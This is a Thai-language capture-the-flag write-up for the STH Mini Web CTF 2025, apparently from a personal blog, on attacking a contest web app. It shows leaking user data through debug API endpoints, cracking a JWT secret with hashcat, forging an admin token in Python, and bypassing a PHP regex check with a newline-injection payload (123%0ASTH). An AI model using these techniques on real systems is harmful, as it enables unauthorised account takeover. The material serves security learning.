Jumat, 28 Maret 2025

Writeup: STH Mini Web CTF 2025 ครั้งที่ 1

| Jumat, 28 Maret 2025

📝 Write-up: STH Mini Web CTF 2025 (ครั้งที่ 1) – krits.top
📌 รายละเอียดกิจกรรมบน Facebook

Table of Contents

  • ภาพรวมของโจทย์
  • ขั้นตอนเริ่มต้น
    • หน้าเข้าสู่ระบบ Login
  • วิเคราะห์โค้ดใน script.js
  • Flag 1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ
    • ขั้นตอนที่ 1: ดึงข้อมูลของ admin-uat
    • ขั้นตอนที่ 2: Brute-force JWT Secret Key
    • ขั้นตอนที่ 3: ตรวจสอบความถูกต้องของ Secret Key
    • ขั้นตอนที่ 4: สร้าง JWT Token ของ Admin
    • ขั้นตอนที่ 5: นำ Token ที่ได้ใส่ใน Cookie
    • ผลลัพธ์ Flag 1
  • Flag 2: ทำการพิมพ์เงินออกจากระบบ
    • วิเคราะห์โค้ดในหน้า /admin.php
    • ใช้ Burp Suite ในการส่งข้อมูล
    • ผลลัพธ์ Flag 2

ภาพรวมของโจทย์

🔍แกะรอยช่องโหว่ 🏆ชิงรางวัลสุดพิเศษ กับการแข่งขันด้านความมั่นคงปลอดภัยไซเบอร์ จัดโดย บจก. สยามถนัดแฮก (STH) ผู้ให้บริการด้าน Cyber Security ระดับแนวหน้า
เป้าหมายการเจาะระบบ:

  • ทำการโจมตีเว็บโจทย์การแข่งขัน เพื่อหาข้อความลับ ที่เรียกว่า Flag โดย Flag จะมีรูปแบบ เช่น STH1{cff940beed74db5e1c7c63007223a6e6}
  • Flag1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ
  • Flag2: ทำการพิมพ์เงินออกจากระบบ

ขั้นตอนเริ่มต้น

หน้าเข้าสู่ระบบ Login

เมื่อเข้าเว็บไซต์มาแล้วพบว่า มีแค่หน้าเข้าสู่ระบบ Login โดยที่ไม่มีการบอก Username และ Password

ทำการ Inspect หน้าเว็บพบว่าใน HTML มี Comment ระบุไว้

Image description

Image description

และสามารถนำ username: test และ password: test ที่พบ มาทำการเข้าสู่ระบบ

Image description

หน้าเข้าสู่ระบบ ถ้าทำการเช็ค Remember Me จะมีการเก็บ Cookie ของ remember_me เอาไว้ ซึ่งเป็น JWT

Image description

ขั้นตอนต่อไปต้องหา Secret Key ของ JWT ให้ได้

Image description

วิเคราะห์โค้ดใน script.js

หลังจากที่เข้าสู่ระบบแล้ว และเมื่อทำการ Inspect และไปที่เมนู Sources จะพบกับไฟล์ script.js ซึ่งมีโค้ดสำคัญที่เกี่ยวข้องกับการดึงข้อมูลผู้ใช้และฟังก์ชันสำหรับ Debug

document.addEventListener('DOMContentLoaded', () => {
  // Fetch the current user's information from the API
  fetch('api.php?action=get_userinfo')
    .then((response) => response.json())
    .then((data) => {
      if (data.username) {
        // Populate the page with user info
        document.getElementById('username').textContent = data.username
        document.getElementById('role').textContent = data.role
        document.getElementById('status').textContent = data.status
      } else if (data.error) {
        console.error('API Error:', data.error)
      } else {
        console.error('Unexpected response format.')
      }
    })
    .catch((err) => {
      console.error('Error fetching user info:', err)
    })
})

function debugFetchUserTest() {
  fetch('api.php?action=get_userinfo&user=test')
    .then((response) => response.json())
    .then((data) => {
      console.log('Debug get_userinfo for user=test:', data)
    })
    .catch((err) => {
      console.error('Error in debugFetchUserTest:', err)
    })
}

function debugFetchAllUsers() {
  // admin.php
  fetch('api.php?action=get_alluser')
    .then((response) => response.json())
    .then((data) => {
      console.log('Debug get_alluser result:', data)
    })
    .catch((err) => {
      console.error('Error in debugFetchAllUsers:', err)
    })
}

จะพบกับ 2 ฟังก์ชั่นที่น่าสนใจคือ debugFetchUserTest() และ debugFetchAllUsers()

debugFetchUserTest()

  • ทำการ fetch จาก URL api.php?action=get_userinfo&user=test
  • เมื่อเปิด URL นี้ จะได้ข้อมูลของ user: test จะประกอบไปด้วย
    • username
    • role
    • remember_me_token มีค่าตรงกับ Decoded Payload ของ JWT ที่ได้
    • status
{
  "username": "test",
  "role": "user",
  "remember_me_token": "b81943ba-d1c5-495a-8427-4711c39256bf",
  "status": "Novice scammer, successfully conned 3 victims."
}

debugFetchAllUsers()

  • มี Comment ระบุว่า admin.php ซึ่งน่าจะบอกว่ามี page นี้อยู่ แต่ปัจจุปันยังไม่สามารถเข้าหน้านี้ได้
  • ทำการ fetch จาก URL api.php?action=get_alluser
  • เมื่อทำการเรียก URL นี้ จะได้รับข้อมูลรายชื่อผู้ใช้ทั้งหมดในระบบ
  • พบว่ามีชื่อผู้ใช้ admin-uat ซึ่งนำไปสู่การโจมตีเพื่อเข้าสู่ระบบในฐานะผู้ดูแลระบบ (Flag 1 และ Flag 2)
["test", "admin-uat"]

Flag 1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ

ขั้นตอนที่ 1: ดึงข้อมูลของ admin uat

  • ทำการ fetch ข้อมูลจาก URL จาก admin-uat
https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=admin-uat
  • ผลลัพธ์ที่ได้
{
  "username": "admin-uat",
  "role": "admin",
  "remember_me_token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
  "status": "Gang boss, oversees all operations."
}
  • ข้อมูล remember_me_token นี้จะนำมาใช้ในการสร้าง JWT เพื่อเข้าสู่ระบบในฐานะผู้ดูแลระบบ

ขั้นตอนที่ 2: Brute force JWT Secret Key

  • จากข้อมูล remember_me_token ของ admin-uat สามารถนำมาสร้าง JWT ใหม่ได้
  • ทำการ Brute-forcing secret key ด้วยคำสั่ง hashcat
$ hashcat -a 0 -m 16500 <JWT_TOKEN> <Wordlist>
$ hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8 ./rockyou.txt

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-11300H @ 3.10GHz, 2899/5863 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

[...]

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8:"bobcats"

[...]

Started: Wed Mar 26 22:34:32 2025
Stopped: Wed Mar 26 22:34:45 2025

ผลลัพธ์การ Brute-force พบ Secret Key คือ

"bobcats"

ขั้นตอนที่ 3: ตรวจสอบความถูกต้องของ Secret Key

  • Secret Key "bobcats" ตรวจสอบถูกต้องเมื่อเช็คกับ JWT_TOKEN ของ user: test

Image description

ขั้นตอนที่ 4: สร้าง JWT Token ของ Admin

  • สร้าง JWT ใหม่โดยใส่ payload ที่ได้มาจาก remember_me_token ของ admin-uat
import jwt
import datetime

payload = {
  # remember_me_token ของ admin-uat (admin)
  "token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
}

secret_key = '"bobcats"'

encoded_jwt = jwt.encode(payload, secret_key, algorithm="HS256")

print(f"Generated JWT: {encoded_jwt}")
  • ผลลัพธ์ที่ได้
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6IjczZWI3MDYzLWY4YzMtNGU1MC1iZWEyLTA3YzA1NjgxYWE5MiJ9.IFc2uZiX_3x1ihXgRaANOPvmySpQzFz_wMD0up8Ny0I

ขั้นตอนที่ 5: นำ Token ที่ได้ใส่ใน Cookie

  • เปลี่ยนค่าใน Cookie remember_me โดยแทนที่ด้วย JWT ที่สร้างขึ้นใหม่

Image description

  • หลังจากนั้นเข้าสู่ระบบในฐานะ admin-uat (ผู้ดูแลระบบ) สำเร็จ

Image description

  • และลองเข้า /admin.php ก็จะสามารถเข้าถึงหน้านี้ได้

Image description

  • Inspect หน้า /admin.php จะพบกับ Flag 1

Image description

ผลลัพธ์ Flag 1

STH1{310052ba6883872435f7c5aafa850813}

Flag 2: ทำการพิมพ์เงินออกจากระบบ

วิเคราะห์โค้ดในหน้า admin.php

  • พบ Comment ในหน้า /admin.php เมื่อ Inspect ซึ่งมีโค้ดดังนี้

function validateNumber($input) {
    if (preg_match('/^[0-9]+$/m', $input)) {
        return true;
    }
    return false;
}

$amount = $_POST['amount'] ?? '';
[...]

if(validateNumber($amount) && strpos($amount, 'STH') ){
    $outputMessage = "Printing $amount $denom ... Completed!<br>";
    $outputMessage .= "Serial Number: <strong>".$_ENV['FLAG2']."</strong>";

}else{
    $outputMessage = 'We need a number, but not a number';
}

รายละเอียดการตรวจสอบ Input

  • ระบบรับค่า Input ผ่านตัวแปร $amount ซึ่งส่งมาจาก POST
  • โดยเงื่อนไขการตรวจสอบมีดังนี้
    1. validateNumber()
      • ใช้ Regular Expression /^[0-9]+$/m ในการตรวจสอบว่า input เป็นตัวเลขหรือไม่
      • ข้อสังเกต: Regular Expression นี้ใช้ modifier m ทำให้การตรวจสอบจะทำงานเฉพาะกับบรรทัดแรกเท่านั้น
    2. strpos($amount, 'STH')
      • ตวรจสอบ Input มีคำว่า STH อยู่ในข้อความหรือไม่
      • โดยฟังก์ชัน strpos สามารถตรวจสอบข้อความได้หลายบรรทัด

วิธีการโจมตี

  • เนื่องจาก Regular Expression ใน validateNumber() ตรวจสอบแค่บรรทัดแรกเท่านั้น จึงเกิดช่องโหว่ที่สามารถแทรก "ขึ้นบรรทัดใหม่" ลงใน Input ได้
  • ตัวอย่างการโจมตี
    • กำหนดค่า Input เป็น 123%0ASTH
      • %0A = Newline (\n)
  • ผลลัพธ์
123 # validateNumber() ตรวจแค่ "123" → ผ่าน
STH #  strpos($amount, 'STH') ยังเจอ "STH"

ใช้ Burp Suite ในการส่งข้อมูล

  • ทำการส่งข้อมูล amount=123%0ASTH

Image description

ผลลัพธ์ Flag 2

STH2{d9d2532fd8ad5419450b5ea34ed93f32}

Related Posts

Tidak ada komentar:

Posting Komentar